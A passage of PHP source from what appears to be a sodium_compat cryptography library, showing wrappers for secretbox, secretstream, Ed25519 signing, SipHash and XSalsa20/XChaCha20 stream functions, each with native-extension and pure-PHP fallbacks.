        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305($plaintext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305($plaintext, $nonce, $key);
    }
    /**
     * Decrypts a message previously encrypted with crypto_secretbox_xchacha20poly1305().
     *
     * @param string $ciphertext Ciphertext with Poly1305 MAC
     * @param string $nonce      A Number to be used Once; must be 24 bytes
     * @param string $key        Symmetric encryption key
     * @return string            Original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_secretbox_xchacha20poly1305_open(
        $ciphertext,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key);
        }
        return ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key);
    }

    /**
     * @param string $key
     * @return array<int, string> Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_init_push(
        #[\SensitiveParameter]
        $key
    ) {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_push($key);
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_push($key);
    }

    /**
     * @param string $header
     * @param string $key
     * @return string Returns a state.
     * @throws Exception
     */
    public static function crypto_secretstream_xchacha20poly1305_init_pull(
        $header,
        #[\SensitiveParameter]
        $key
    ) {
        if (ParagonIE_Sodium_Core_Util::strlen($header) < self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES) {
            throw new SodiumException(
                'header size should be SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES bytes'
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_pull($key, $header);
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_pull($key, $header);
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_push(
        #[\SensitiveParameter]
        &$state,
        #[\SensitiveParameter]
        $msg,
        $aad = '',
        $tag = 0
    ) {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_push(
                $state,
                $msg,
                $aad,
                $tag
            );
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_push(
            $state,
            $msg,
            $aad,
            $tag
        );
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_pull(
        #[\SensitiveParameter]
        &$state,
        $msg,
        $aad = ''
    ) {
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_pull(
                $state,
                $msg,
                $aad
            );
        }
        return ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_pull(
            $state,
            $msg,
            $aad
        );
    }

    /**
     * @return string
     * @throws Exception
     */
    public static function crypto_secretstream_xchacha20poly1305_keygen()
    {
        return random_bytes(self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES);
    }

    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function crypto_secretstream_xchacha20poly1305_rekey(
        #[\SensitiveParameter]
        &$state
    ) {
        if (PHP_INT_SIZE === 4) {
            ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_rekey($state);
        } else {
            ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_rekey($state);
        }
    }

    /**
     * Calculates a SipHash-2-4 hash of a message for a given key.
     *
     * @param string $message Input message
     * @param string $key SipHash-2-4 key
     * @return string         Hash
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_shorthash(
        $message,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_SHORTHASH_KEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SHORTHASH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_shorthash($message, $key);
        }
        if (self::use_fallback('crypto_shorthash')) {
            return (string) call_user_func('\\Sodium\\crypto_shorthash', $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_SipHash::sipHash24($message, $key);
        }
        return ParagonIE_Sodium_Core_SipHash::sipHash24($message, $key);
    }

    /**
     * Return a secure random key for use with crypto_shorthash
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_shorthash_keygen()
    {
        return random_bytes(self::CRYPTO_SHORTHASH_KEYBYTES);
    }

    /**
     * Returns a signed message. You probably want crypto_sign_detached()
     * instead, which only returns the signature.
     *
     * Algorithm: Ed25519 (EdDSA over Curve25519)
     *
     * @param string $message Message to be signed.
     * @param string $secretKey Secret signing key.
     * @return string           Signed message (signature is prefixed).
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_sign(
        $message,
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign($message, $secretKey);
        }
        if (self::use_fallback('crypto_sign')) {
            return (string) call_user_func('\\Sodium\\crypto_sign', $message, $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign($message, $secretKey);
        }
        return ParagonIE_Sodium_Crypto::sign($message, $secretKey);
    }

    /**
     * Validates a signed message then returns the message.
     *
     * @param string $signedMessage A signed message
     * @param string $publicKey A public key
     * @return string               The original message (if the signature is
     *                              valid for this public key)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_sign_open(
        $signedMessage,
        $publicKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($signedMessage, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($signedMessage) < self::CRYPTO_SIGN_BYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_sign_open($signedMessage, $publicKey);
        }
        if (self::use_fallback('crypto_sign_open')) {
            return call_user_func('\\Sodium\\crypto_sign_open', $signedMessage, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_open($signedMessage, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::sign_open($signedMessage, $publicKey);
    }

    /**
     * Generate a new random Ed25519 keypair.
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_sign_keypair()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_keypair();
        }
        if (self::use_fallback('crypto_sign_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_keypair');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::keypair();
        }
        return ParagonIE_Sodium_Core_Ed25519::keypair();
    }

    /**
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     */
    public static function crypto_sign_keypair_from_secretkey_and_publickey(
        #[\SensitiveParameter]
        $sk,
        $pk
    )  {
        ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1);
        $sk = (string) $sk;
        $pk = (string) $pk;

        if (ParagonIE_Sodium_Core_Util::strlen($sk) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('secretkey should be SODIUM_CRYPTO_SIGN_SECRETKEYBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($pk) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('publickey should be SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES bytes');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk);
        }
        return $sk . $pk;
    }

    /**
     * Generate an Ed25519 keypair from a seed.
     *
     * @param string $seed Input seed
     * @return string      Keypair
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_seed_keypair(
        #[\SensitiveParameter]
        $seed
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_seed_keypair($seed);
        }
        if (self::use_fallback('crypto_sign_keypair')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_seed_keypair', $seed);
        }
        $publicKey = '';
        $secretKey = '';
        if (PHP_INT_SIZE === 4) {
            ParagonIE_Sodium_Core32_Ed25519::seed_keypair($publicKey, $secretKey, $seed);
        } else {
            ParagonIE_Sodium_Core_Ed25519::seed_keypair($publicKey, $secretKey, $seed);
        }
        return $secretKey . $publicKey;
    }

    /**
     * Extract an Ed25519 public key from an Ed25519 keypair.
     *
     * @param string $keypair Keypair
     * @return string         Public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_publickey(
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_publickey($keypair);
        }
        if (self::use_fallback('crypto_sign_publickey')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_publickey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::publickey($keypair);
        }
        return ParagonIE_Sodium_Core_Ed25519::publickey($keypair);
    }

    /**
     * Calculate an Ed25519 public key from an Ed25519 secret key.
     *
     * @param string $secretKey Your Ed25519 secret key
     * @return string           The corresponding Ed25519 public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_publickey_from_secretkey(
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_publickey_from_secretkey($secretKey);
        }
        if (self::use_fallback('crypto_sign_publickey_from_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_publickey_from_secretkey', $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::publickey_from_secretkey($secretKey);
        }
        return ParagonIE_Sodium_Core_Ed25519::publickey_from_secretkey($secretKey);
    }

    /**
     * Extract an Ed25519 secret key from an Ed25519 keypair.
     *
     * @param string $keypair Keypair
     * @return string         Secret key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_secretkey(
        #[\SensitiveParameter]
        $keypair
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_SIGN_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_secretkey($keypair);
        }
        if (self::use_fallback('crypto_sign_secretkey')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_secretkey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::secretkey($keypair);
        }
        return ParagonIE_Sodium_Core_Ed25519::secretkey($keypair);
    }

    /**
     * Calculate the Ed25519 signature of a message and return ONLY the signature.
     *
     * Algorithm: Ed25519 (EdDSA over Curve25519)
     *
     * @param string $message Message to be signed
     * @param string $secretKey Secret signing key
     * @return string           Digital signature
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_detached(
        $message,
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_detached($message, $secretKey);
        }
        if (self::use_fallback('crypto_sign_detached')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_detached', $message, $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_detached($message, $secretKey);
        }
        return ParagonIE_Sodium_Crypto::sign_detached($message, $secretKey);
    }

    /**
     * Verify the Ed25519 signature of a message.
     *
     * @param string $signature Digital sginature
     * @param string $message Message to be verified
     * @param string $publicKey Public key
     * @return bool             TRUE if this signature is good for this public key;
     *                          FALSE otherwise
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_verify_detached($signature, $message, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($signature, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($signature) !== self::CRYPTO_SIGN_BYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_SIGN_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_verify_detached($signature, $message, $publicKey);
        }
        if (self::use_fallback('crypto_sign_verify_detached')) {
            return (bool) call_user_func(
                '\\Sodium\\crypto_sign_verify_detached',
                $signature,
                $message,
                $publicKey
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_verify_detached($signature, $message, $publicKey);
        }
        return ParagonIE_Sodium_Crypto::sign_verify_detached($signature, $message, $publicKey);
    }

    /**
     * Convert an Ed25519 public key to a Curve25519 public key
     *
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_ed25519_pk_to_curve25519($pk)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($pk, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($pk) < self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }
        if (self::useNewSodiumAPI()) {
            if (is_callable('crypto_sign_ed25519_pk_to_curve25519')) {
                return (string) sodium_crypto_sign_ed25519_pk_to_curve25519($pk);
            }
        }
        if (self::use_fallback('crypto_sign_ed25519_pk_to_curve25519')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519', $pk);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::pk_to_curve25519($pk);
        }
        return ParagonIE_Sodium_Core_Ed25519::pk_to_curve25519($pk);
    }

    /**
     * Convert an Ed25519 secret key to a Curve25519 secret key
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_ed25519_sk_to_curve25519(
        #[\SensitiveParameter]
        $sk
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($sk, 'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($sk) < self::CRYPTO_SIGN_SEEDBYTES) {
            throw new SodiumException('Argument 1 must be at least CRYPTO_SIGN_SEEDBYTES long.');
        }
        if (self::useNewSodiumAPI()) {
            if (is_callable('crypto_sign_ed25519_sk_to_curve25519')) {
                return sodium_crypto_sign_ed25519_sk_to_curve25519($sk);
            }
        }
        if (self::use_fallback('crypto_sign_ed25519_sk_to_curve25519')) {
            return (string) call_user_func('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519', $sk);
        }

        $h = hash('sha512', ParagonIE_Sodium_Core_Util::substr($sk, 0, 32), true);
        $h[0] = ParagonIE_Sodium_Core_Util::intToChr(
            ParagonIE_Sodium_Core_Util::chrToInt($h[0]) & 248
        );
        $h[31] = ParagonIE_Sodium_Core_Util::intToChr(
            (ParagonIE_Sodium_Core_Util::chrToInt($h[31]) & 127) | 64
        );
        return ParagonIE_Sodium_Core_Util::substr($h, 0, 32);
    }

    /**
     * Expand a key and nonce into a keystream of pseudorandom bytes.
     *
     * @param int $len Number of bytes desired
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key XSalsa20 key
     * @return string       Pseudorandom stream that can be XORed with messages
     *                      to provide encryption (but not authentication; see
     *                      Poly1305 or crypto_auth() for that, which is not
     *                      optional for security)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream(
        $len,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_STREAM_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_stream($len, $nonce, $key);
        }
        if (self::use_fallback('crypto_stream')) {
            return (string) call_user_func('\\Sodium\\crypto_stream', $len, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20($len, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XSalsa20::xsalsa20($len, $nonce, $key);
    }

    /**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XSalsa20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xor(
        #[\SensitiveParameter]
        $message,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_stream_xor($message, $nonce, $key);
        }
        if (self::use_fallback('crypto_stream_xor')) {
            return (string) call_user_func('\\Sodium\\crypto_stream_xor', $message, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20_xor($message, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XSalsa20::xsalsa20_xor($message, $nonce, $key);
    }

    /**
     * Return a secure random key for use with crypto_stream
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_stream_keygen()
    {
        return random_bytes(self::CRYPTO_STREAM_KEYBYTES);
    }


    /**
     * Expand a key and nonce into a keystream of pseudorandom bytes.
     *
     * @param int $len Number of bytes desired
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key XChaCha20 key
     * @param bool $dontFallback
     * @return string       Pseudorandom stream that can be XORed with messages
     *                      to provide encryption (but not authentication; see
     *                      Poly1305 or crypto_auth() for that, which is not
     *                      optional for security)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20(
        $len,
        $nonce,
        #[\SensitiveParameter]
        $key,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_STREAM_XCHACHA20_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_stream_xchacha20($len, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::stream($len, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XChaCha20::stream($len, $nonce, $key);
    }

    /**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XChaCha20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @param bool $dontFallback
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20_xor(
        #[\SensitiveParameter]
        $message,
        $nonce,
        #[\SensitiveParameter]
        $key,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_stream_xchacha20_xor($message, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key);
    }

    /**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XChaCha20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param int $counter
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @param bool $dontFallback
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20_xor_ic(
        #[\SensitiveParameter]
        $message,
        $nonce,
        $counter,
        #[\SensitiveParameter]
        $key,
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($counter, 'int', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.');
        }

        if (is_callable('sodium_crypto_stream_xchacha20_xor_ic') && !$dontFallback) {
            return sodium_crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key);
        }

        $ic = ParagonIE_Sodium_Core_Util::store64_le($counter);
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key, $ic);
        }
        return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key, $ic);
    }

    /**
     * Return a secure random key for use with crypto_stream_xchacha20
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_stream_xchacha20_keygen()
    {
        return random_bytes(self::CRYPTO_STREAM_XCHACHA20_KEYBYTES);
    }

    /**
     * Cache-timing-safe implementation of hex2bin().
     *
     * @param string $string Hexadecimal string
     * @param string $ignore List of characters to ignore; useful for whitespace
     * @return string        Raw binary string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     * @psalm-suppress MixedArgument
     */
    public static function hex2bin(
        #[\SensitiveParameter]
        $string,
        $ignore = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($ignore, 'string', 2);

        if (self::useNewSodiumAPI()) {
            if (is_callable('sodium_hex2bin')) {
                return (string) sodium_hex2bin($string, $ignore);
            }
        }
        if (self::use_fallback('hex2bin')) {
